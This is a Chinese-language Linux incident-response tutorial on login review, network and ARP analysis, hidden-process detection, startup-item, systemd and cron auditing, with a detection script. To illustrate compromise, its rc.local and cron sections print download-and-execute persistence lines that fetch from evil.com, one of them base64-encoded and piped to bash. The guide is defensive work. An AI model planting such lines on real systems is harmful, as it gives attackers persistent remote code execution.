Linux应急响应进阶：网络行为分析、进程检测与启动项排查

前言

在Linux应急响应中,除了基础的资源监控和文件分析,更深入的网络行为分析、隐藏进程检测、启动项排查和计划任务审计同样至关重要。攻击者常常通过网络后门保持远程控制,利用隐藏进程逃避检测,通过启动项和定时任务实现持久化。本文将系统讲解这些进阶技术,帮助安全人员全面掌握Linux应急响应的核心技能。

文章目录

• 前言
• 一、系统信息与用户行为分析
• • 1.1 当前登录用户检查
  • 1.2 系统信息检查
• 二、网络行为深度分析
• • 2.1 网络连接全面检查
  • 2.2 服务端口检查
  • 2.3 ARP欺骗检测
  • 2.4 端口与进程关联分析
  • 2.5 使用iptables防护
• 三、进程深度检测
• • 3.1 全面进程查看
  • 3.2 使用top动态监控
  • 3.3 lsof进程文件关联
  • 3.4 隐藏进程检测
• 四、启动项与持久化检查
• • 4.1 init.d启动脚本
  • 4.2 rc.local开机执行
  • 4.3 运行级别启动
  • 4.4 systemd服务(现代Linux)
  • 4.5 profile配置文件
• 五、计划任务(Cron)审计
• • 5.1 Cron系统概述
  • 5.2 查看定时任务
  • 5.3 Cron语法解析
  • 5.4 管理定时任务
  • 5.5 可疑定时任务特征
  • 5.6 Cron日志分析
• 六、综合应急响应实战
• • 6.1 完整检查清单
  • 6.2 应急响应脚本
• 七、实战技巧与最佳实践
• • 7.1 应急响应演练
  • 7.2 关键命令速查
  • 7.3 常见误区
• 总结

一、系统信息与用户行为分析

1.1 当前登录用户检查

查看当前登录的用户:

who

输出示例:

root pts/0 2024-01-10 14:23 (192.168.1.100)
admin pts/1 2024-01-10 14:30 (192.168.1.101)
www-data pts/2 2024-01-10 14:35 (185.xxx.xxx.xxx) ← 可疑!

分析要点:

• 用户名异常: www-data等服务账户不应该有登录会话
• 登录IP可疑: 来自国外IP或未知网段
• 登录时间: 非工作时间的登录行为
• 终端类型: pts表示伪终端(远程登录)

更详细的登录信息:

# 显示详细登录信息
w

输出示例:

14:35:42 up 3 days, 2:15, 3 users, load average: 0.52, 0.48, 0.41
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 192.168.1.100 14:23 0.00s 0.15s 0.01s w
admin pts/1 192.168.1.101 14:30 5:12 0.05s 0.03s vim config.txt
www-data pts/2 185.xxx.xxx.xxx 14:35 0.00s 0.89s 0.85s /tmp/.x/miner

关键信息:

• FROM: 登录来源IP
• IDLE: 空闲时间
• WHAT: 当前执行的命令(www-data在运行挖矿程序!)

查看所有登录历史:

# 查看最近登录记录
last

# 查看登录失败记录
lastb

应对措施:

# 踢出可疑用户
pkill -KILL -t pts/2

# 或使用who查看TTY后
skill -KILL -u www-data

# 锁定账户
usermod -L www-data

1.2 系统信息检查

查看系统详细信息:

uname -a

输出示例:

Linux webserver 4.15.0-45-generic #48-Ubuntu SMP x86_64 GNU/Linux
↑ ↑
内核版本 发行版信息

检查要点:

# 查看完整版本
uname -r
# 输出: 4.15.0-45-generic

# 搜索已知漏洞
# 访问: https://www.cvedetails.com
# 搜索: Linux Kernel 4.15.0

常见高危内核漏洞:

• Dirty COW (CVE-2016-5195): 权限提升
• Stack Clash (CVE-2017-1000364): 本地提权
• DCCP双重释放 (CVE-2017-6074): 本地提权

uname -m
# x86_64 (64位) 或 i686 (32位)

# CentOS/RHEL
cat /etc/redhat-release

# Ubuntu/Debian
cat /etc/issue
lsb_release -a

# 通用方法
cat /etc/os-release

检查系统补丁:

# Ubuntu/Debian
apt list –installed | grep linux-image

# CentOS/RHEL
rpm -qa | grep kernel

# 查看可用更新
apt list –upgradable # Ubuntu/Debian
yum check-update # CentOS/RHEL

二、网络行为深度分析

2.1 网络连接全面检查

基础网络连接查看:

netstat -ano

参数说明:

• -a: 显示所有连接和监听端口
• -n: 以数字形式显示地址和端口
• -o: 显示计时器信息

更推荐的高级命令:

netstat -tuanp

参数说明:

• -t: TCP连接
• -u: UDP连接
• -a: 所有状态
• -n: 数字格式
• -p: 显示进程名和PID

输出示例:

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1024/sshd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2048/apache2
tcp 0 0 192.168.1.10:45678 185.xxx.xxx.xxx:4444 ESTABLISHED 3072/miner
udp 0 0 0.0.0.0:53 0.0.0.0:* 913/named

分析要点:

使用更现代的ss命令:

ss -tuanp

ss命令比netstat更快,输出格式类似。

2.2 服务端口检查

查看服务监听情况:

# 启动Apache服务
service apache2 start

# 查看80端口监听
netstat -ano | grep :80

# 或使用lsof
lsof -i :80

输出示例:

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
apache2 2048 root 4u IPv4 12345 0t0 TCP *:80 (LISTEN)
apache2 2049 www-data 4u IPv4 12345 0t0 TCP *:80 (LISTEN)

检查所有监听端口:

netstat -tulnp

输出示例:

Proto Local Address State PID/Program name
tcp 0.0.0.0:22 LISTEN 1024/sshd
tcp 0.0.0.0:80 LISTEN 2048/apache2
tcp 0.0.0.0:3306 LISTEN 1536/mysqld
tcp 0.0.0.0:4444 LISTEN 3072/unknown ← 可疑端口!

常见后门端口:

• 4444, 5555: Metasploit默认端口
• 31337, 12345: 经典后门端口
• 6666, 7777: 远控常用端口
• 8080, 8888: 伪装成Web服务

2.3 ARP欺骗检测

查看ARP表:

arp -a

输出示例:

? (192.168.1.1) at aa:bb:cc:dd:ee:ff [ether] on eth0
? (192.168.1.100) at aa:bb:cc:dd:ee:ff [ether] on eth0 ← 可疑!与网关MAC相同
? (192.168.1.101) at 11:22:33:44:55:66 [ether] on eth0

异常特征:

• 多个不同IP对应相同MAC地址
• 网关MAC地址与其他主机相同
• MAC地址频繁变化

深入检查:

# 持续监控ARP变化
watch -n 1 "arp -a"

# 查看ARP缓存
ip neigh show

防御ARP欺骗:

# 静态绑定网关MAC
arp -s 192.168.1.1 aa:bb:cc:dd:ee:ff

# 编辑网络配置永久绑定
echo "192.168.1.1 aa:bb:cc:dd:ee:ff" >> /etc/ethers
arp -f /etc/ethers

2.4 端口与进程关联分析

查看特定端口的进程:

lsof -i :[端口号]

示例:

lsof -i :4444

输出:

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
miner 3072 www 5u IPv4 34567 0t0 TCP *:4444 (LISTEN)

查看进程对应的文件路径:

ls -l /proc/[PID]/exe

示例:

ls -l /proc/3072/exe

输出:

lrwxrwxrwx 1 www www 0 Jan 10 14:35 /proc/3072/exe -> /tmp/.x/miner

查看文件类型:

file /proc/[PID]/exe

输出:

/proc/3072/exe: ELF 64-bit LSB executable, x86-64, dynamically linked

2.5 使用iptables防护

iptables基础语法:

iptables -A INPUT/OUTPUT -s/d [IP] -j ACCEPT/DROP

参数说明:

• -A: Append(追加规则)
• INPUT: 入站流量
• OUTPUT: 出站流量
• -s: Source(源IP)
• -d: Destination(目标IP)
• -j: Jump(动作)
• ACCEPT: 接受
• DROP: 丢弃

实战示例:

1. 封禁可疑IP的所有连接:

# 拒绝来自185.xxx.xxx.xxx的所有入站流量
iptables -A INPUT -s 185.xxx.xxx.xxx -j DROP

# 拒绝向185.xxx.xxx.xxx的所有出站流量
iptables -A OUTPUT -d 185.xxx.xxx.xxx -j DROP

2. 封禁特定域名的通信:

iptables -I INPUT -p tcp –dport 80 -m string –string "evil.com" –algo bm -j DROP

参数解析:

• -I INPUT: 在INPUT链头部插入规则(优先级最高)
• -p tcp: 协议为TCP
• –dport 80: 目标端口80(HTTP)
• -m string: 使用string模块匹配
• –string "evil.com": 匹配字符串
• –algo bm: Boyer-Moore算法(高效字符串匹配)
• -j DROP: 丢弃匹配的数据包

效果: 拦截所有HTTP请求中包含"evil.com"的数据包。

3. 查看当前规则:

iptables -L -n -v

输出示例:

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 DROP all — * * 185.xxx.xxx.xxx 0.0.0.0/0
12 1024 DROP tcp — * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:80 STRING match "evil.com" ALGO name bm

4. 清除所有规则:

iptables -F

注意: 生产环境慎用,会清除所有防火墙规则!

5. 保存规则(永久生效):

# Ubuntu/Debian
iptables-save > /etc/iptables/rules.v4

# CentOS/RHEL
service iptables save

# 或使用iptables-persistent
apt-get install iptables-persistent
netfilter-persistent save

更多高级用法:

# 限制SSH连接频率(防暴力破解)
iptables -A INPUT -p tcp –dport 22 -m state –state NEW -m recent –set
iptables -A INPUT -p tcp –dport 22 -m state –state NEW -m recent –update –seconds 60 –hitcount 4 -j DROP

# 只允许特定IP访问SSH
iptables -A INPUT -p tcp –dport 22 -s 192.168.1.100 -j ACCEPT
iptables -A INPUT -p tcp –dport 22 -j DROP

# 防止SYN Flood
iptables -A INPUT -p tcp –syn -m limit –limit 1/s –limit-burst 3 -j ACCEPT
iptables -A INPUT -p tcp –syn -j DROP

三、进程深度检测

3.1 全面进程查看

使用ps命令查看所有进程:

ps -aux

输出列说明:

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 185728 9012 ? Ss Jan08 0:03 /sbin/init
www 3072 99.9 12.3 156780 98304 ? R 14:35 125:43 /tmp/.x/miner

关键字段:

• USER: 运行用户
• PID: 进程ID
• %CPU/%MEM: 资源占用
• VSZ/RSS: 虚拟内存/物理内存
• TTY: 终端(? 表示后台进程)
• STAT: 进程状态(R=运行, S=休眠, Z=僵尸)
• COMMAND: 完整命令

另一种格式:

ps -ef

输出包含父进程ID(PPID):

UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan08 ? 00:00:03 /sbin/init
www 3072 1 9 14:35 ? 02:05:43 /tmp/.x/miner

3.2 使用top动态监控

top -c

按P键按CPU排序,按M键按内存排序。

3.3 lsof进程文件关联

查看进程打开的所有文件:

lsof -p [PID]

查看特定端口的进程:

lsof -i :[端口]

查看进程名关联的文件:

lsof -c [进程名]

示例:

lsof -c apache2

查看特定文件被哪些进程占用:

lsof [文件路径]

示例:

lsof /var/log/apache2/access.log
lsof /tmp/evil.sh

3.4 隐藏进程检测

原理:

• ps命令从/proc目录读取进程信息
• Rootkit可以劫持ps命令隐藏进程
• 通过对比ps输出和/proc目录可以发现隐藏进程

检测方法:

# 使用ps获取进程列表
ps -ef | awk '{print $2}' | sort -n | uniq > ps_list.txt

# 从/proc目录获取进程列表
ls /proc | grep "^[0-9]" | sort -n | uniq > proc_list.txt

# 对比差异
diff ps_list.txt proc_list.txt

输出示例:

> 3072

表示PID 3072在/proc目录中存在,但ps命令看不到(被隐藏)。

验证隐藏进程:

# 查看进程详细信息
cat /proc/3072/cmdline
cat /proc/3072/status
ls -l /proc/3072/exe

更简洁的一行命令:

diff <(ps -ef | awk '{print $2}' | sort -n | uniq) <(ls /proc | grep "^[0-9]" | sort -n | uniq)

四、启动项与持久化检查

4.1 init.d启动脚本

/etc/init.d/ 目录:

这是Linux传统的启动脚本位置,包含各种服务的启动/停止脚本。

检查方法:

# 查看所有启动脚本
ls -l /etc/init.d/

# 查找最近修改的启动脚本
find /etc/init.d/ -type f -mtime -7

# 查看可疑脚本内容
cat /etc/init.d/[可疑脚本名]

可疑特征:

• 脚本名随机或伪装(如network-manager、system-update)
• 最近创建或修改
• 内容包含下载、连接外网等操作

4.2 rc.local开机执行

/etc/rc.local 文件:

在系统启动最后阶段执行的脚本,常被用于持久化。

检查命令:

cat /etc/rc.local

正常内容:

#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.

exit 0

被篡改的例子:

#!/bin/sh -e

# 下载并执行恶意脚本
wget http://evil.com/backdoor.sh -O /tmp/.x && chmod +x /tmp/.x && /tmp/.x &

exit 0

4.3 运行级别启动

/etc/rc[0-6].d/ 目录:

Linux有7个运行级别(0-6),每个级别对应不同的启动服务。

运行级别说明:

• 0: 关机
• 1: 单用户模式(救援模式)
• 2: 多用户模式(无网络)
• 3: 多用户模式(有网络,无图形界面)
• 4: 保留
• 5: 多用户图形界面模式
• 6: 重启

检查方法:

# 查看当前运行级别
runlevel

# 查看级别3的启动项
ls -l /etc/rc3.d/

# 查找最近添加的启动项
find /etc/rc*.d/ -type l -mtime -7

文件命名规则:

S01network → S = Start, 01 = 优先级, network = 服务名
K01network → K = Kill(停止)

分析: 这些文件通常是指向/etc/init.d/的软链接。

4.4 systemd服务(现代Linux)

现代Linux使用systemd管理服务:

查看所有已启用的服务:

systemctl list-unit-files | grep enabled

查找可疑服务:

# 查看最近修改的服务文件
find /etc/systemd/system/ -type f -mtime -7
find /usr/lib/systemd/system/ -type f -mtime -7

# 查看服务详情
systemctl cat [服务名]

可疑服务特征:

• 服务名伪装成系统服务
• ExecStart指向可疑路径(/tmp、/dev/shm)
• 用户为root或www-data
• WantedBy=multi-user.target(开机启动)

禁用可疑服务:

systemctl disable [服务名]
systemctl stop [服务名]
rm /etc/systemd/system/[服务名].service
systemctl daemon-reload

4.5 profile配置文件

/etc/profile 和 /etc/profile.d/:

这些文件在用户登录时执行,可以用于持久化。

检查方法:

# 查看profile
cat /etc/profile

# 查看profile.d下的所有脚本
ls -l /etc/profile.d/
cat /etc/profile.d/*

# 查找最近修改的
find /etc/profile.d/ -type f -mtime -7

用户级启动文件:

~/.bashrc
~/.bash_profile
~/.profile

五、计划任务(Cron)审计

5.1 Cron系统概述

Cron目录结构:

/etc/crontab ← 系统级定时任务
/etc/cron.d/ ← 程序包的定时任务
/etc/cron.hourly/ ← 每小时执行
/etc/cron.daily/ ← 每天执行
/etc/cron.weekly/ ← 每周执行
/etc/cron.monthly/ ← 每月执行
/var/spool/cron/ ← 用户定时任务
/var/spool/cron/crontabs/ ← 用户定时任务(Debian/Ubuntu)

5.2 查看定时任务

查看当前用户的定时任务:

crontab -l

查看特定用户的定时任务:

crontab -l -u [用户名]

示例:

crontab -l -u www-data

查看系统级定时任务:

cat /etc/crontab

输出示例:

# m h dom mon dow command
0 5 * * 1 /root/backup.sh
*/5 * * * * /tmp/.x/miner & ← 可疑!

查看所有定时任务目录:

ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

查找最近修改的定时任务:

find /etc/cron* -type f -mtime -7
find /var/spool/cron -type f -mtime -7

5.3 Cron语法解析

Cron时间格式:

* * * * * command
│ │ │ │ │
│ │ │ │ └─── 星期几 (0-6, 0=周日)
│ │ │ └───── 月份 (1-12)
│ │ └─────── 日期 (1-31)
│ └───────── 小时 (0-23)
└─────────── 分钟 (0-59)

示例解析:

# 每天凌晨5点执行
0 5 * * * /root/backup.sh

# 每周一凌晨5点执行
0 5 * * 1 /root/backup.sh

# 每5分钟执行一次
*/5 * * * * /tmp/.x/miner ← 典型挖矿程序特征!

# 每小时的第30分钟执行
30 * * * * /usr/local/bin/check.sh

# 每天早上8点和下午6点执行
0 8,18 * * * /home/user/script.sh

# 工作日(周一到周五)每天早上9点执行
0 9 * * 1-5 /opt/backup.sh

5.4 管理定时任务

编辑定时任务:

crontab -e

会打开默认编辑器(通常是vim或nano)。

删除当前用户的所有定时任务:

crontab -r

警告: 会删除所有任务,操作需谨慎!

删除特定用户的定时任务:

crontab -r -u [用户名]

更安全的方法 – 编辑删除特定任务:

crontab -e
# 删除可疑行后保存退出

5.5 可疑定时任务特征

需要重点关注的定时任务:

可疑示例:

# 每5分钟下载并执行
*/5 * * * * wget http://evil.com/miner -O /tmp/.x && chmod +x /tmp/.x && /tmp/.x >/dev/null 2>&1

# 每小时检查并重启挖矿程序
0 * * * * ps aux | grep -v grep | grep miner || /tmp/miner &

# Base64编码的恶意命令
*/10 * * * * echo "d2dldCBodHRwOi8vZXZpbC5jb20vYmFja2Rvb3I=" | base64 -d | bash

5.6 Cron日志分析

查看Cron执行日志:

# Ubuntu/Debian
grep CRON /var/log/syslog

# CentOS/RHEL
grep CRON /var/log/cron

# 查看最近的Cron执行
tail -50 /var/log/cron

日志示例:

Jan 10 14:35:01 server CRON[3072]: (www-data) CMD (/tmp/.x/miner)
Jan 10 14:40:01 server CRON[3156]: (www-data) CMD (/tmp/.x/miner)

可以看出www-data用户每5分钟执行/tmp/.x/miner。

六、综合应急响应实战

6.1 完整检查清单

快速应急响应Checklist:

# 1. 查看当前登录用户
who
w

# 2. 查看网络连接
netstat -tuanp | grep ESTABLISHED

# 3. 查看高CPU/内存进程
top -c -o %CPU
ps aux | sort -k3 -r | head -5

# 4. 检查定时任务
crontab -l
cat /etc/crontab
ls /etc/cron.d/

# 5. 检查启动项
ls /etc/init.d/
systemctl list-unit-files | grep enabled

# 6. 检查可疑文件
find /tmp -type f -mtime -1
find /var/tmp -type f -mtime -1
find /dev/shm -type f

# 7. 检查最近修改的系统文件
find /bin /sbin /usr/bin /usr/sbin -type f -mtime -7

# 8. 检查日志
grep "Accepted password" /var/log/auth.log
grep "Failed password" /var/log/auth.log | wc -l

6.2 应急响应脚本

创建自动化检测脚本:

#!/bin/bash
# Linux应急响应快速检查脚本

echo "========== 系统信息 =========="
uname -a
uptime

echo ""
echo "========== 当前登录用户 =========="
who
w

echo ""
echo "========== 可疑网络连接 =========="
netstat -tuanp | grep ESTABLISHED | grep -v "127.0.0.1"

echo ""
echo "========== 高资源占用进程 =========="
ps aux | sort -k3 -r | head -5

echo ""
echo "========== 可疑监听端口 =========="
netstat -tulnp | grep -v -E ":(22|80|443|3306|53)"

echo ""
echo "========== 定时任务检查 =========="
echo "— 系统定时任务 —"
cat /etc/crontab
echo "— 用户定时任务 —"
for user in $(cut -f1 -d: /etc/passwd);
do crontab -l -u $user 2>/dev/null | grep -v "^#" | grep -v "^$" && echo "User: $user";
done

echo ""
echo "========== 最近修改的启动项 =========="
find /etc/init.d/ /etc/systemd/system/ -type f -mtime -7

echo ""
echo "========== 可疑临时文件 =========="
find /tmp /var/tmp /dev/shm -type f -mtime -1

echo ""
echo "检查完成! 请仔细分析上述输出。"

将脚本保存为linux_check.sh,赋予执行权限后运行:

chmod +x linux_check.sh
./linux_check.sh > emergency_report.txt

七、实战技巧与最佳实践

7.1 应急响应演练

建议设置实验环境:

这种"自己打自己"的练习能快速提升应急响应能力。

7.2 关键命令速查

7.3 常见误区

误区1: 只看进程名

• 进程名可以伪装,要检查完整路径和命令行参数

误区2: 忽略定时任务

• 很多持久化依赖cron,即使杀掉进程也会重启

误区3: 不检查日志

• 日志是溯源的关键,能找到入侵时间和方式

误区4: 直接删除可疑文件

• 应先备份样本,用于后续分析和溯源

误区5: 不修改密码

• 清除后门后必须修改所有账户密码

总结

Linux应急响应需要系统化的思维和全面的技术能力。从网络行为分析到进程检测,从启动项排查到定时任务审计,每个环节都可能发现攻击者的蛛丝马迹。

核心要点回顾:

能力提升路径:

• 熟练掌握netstat、ps、lsof等命令
• 理解Linux启动流程和systemd机制
• 掌握iptables防火墙规则编写
• 学习Shell脚本自动化检测
• 搭建实验环境反复演练
• 阅读真实入侵事件分析报告

最后建议:

应急响应不仅是技术活,更是体力活和脑力活的结合。建立标准化的检查流程,制作自动化脚本,定期演练,才能在真实入侵事件中快速准确地定位和清除威胁。

免责声明: 本文技术内容仅供安全从业人员学习和研究使用。所有命令和技术应当在合法授权的环境中使用。未经授权对他人系统进行分析和操作属于违法行为。